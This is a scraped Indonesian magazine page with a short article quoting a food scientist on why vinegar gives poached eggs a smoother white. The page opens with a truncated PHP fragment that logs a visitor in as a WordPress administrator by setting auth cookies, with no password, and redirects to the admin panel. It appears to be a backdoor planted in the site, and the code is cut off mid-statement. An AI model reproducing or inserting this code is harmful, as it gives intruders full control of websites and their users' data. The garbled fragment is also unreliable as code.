user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Trend
Cuka pada Poached Egg

25 Jun 2012

Saat membuat poached egg (telur rebus tanpa kulit), sering kali ditambahkan cuka ke dalam air rebusan telur.  Menurut DR.Ir. Nuri Andarwulan, untuk  memperoleh kulit poached egg yang mulus, ini bisa diraih jika bagian protein pada putih telur yang bertekstur kasar sirna. 

Advertisement
"Kandungan asam pada cuka bisa membantu menghilangkan salah satu unsur (denaturasi) protein di dalam gel putih telur yang bertekstur kasar ini, dan membentuknya menjadi tekstur putih telur yang lebih halus. Formulasinya, 1 sdm cuka untuk setiap 500 ml air," ujar DR.Ir. Nuri. (f)



 


MORE ARTICLE
Clean Cut Emporio Armani
Aksi Sosial SOPHIE

More Videos
polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda? 

View Result
event
recommended
most viewed
about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

subscribe
(021) 250 333 28
langganan@pranagroup.id
© 2026 Femina Indonesia, Femina Group. All Right Reserved. | By fdvs team.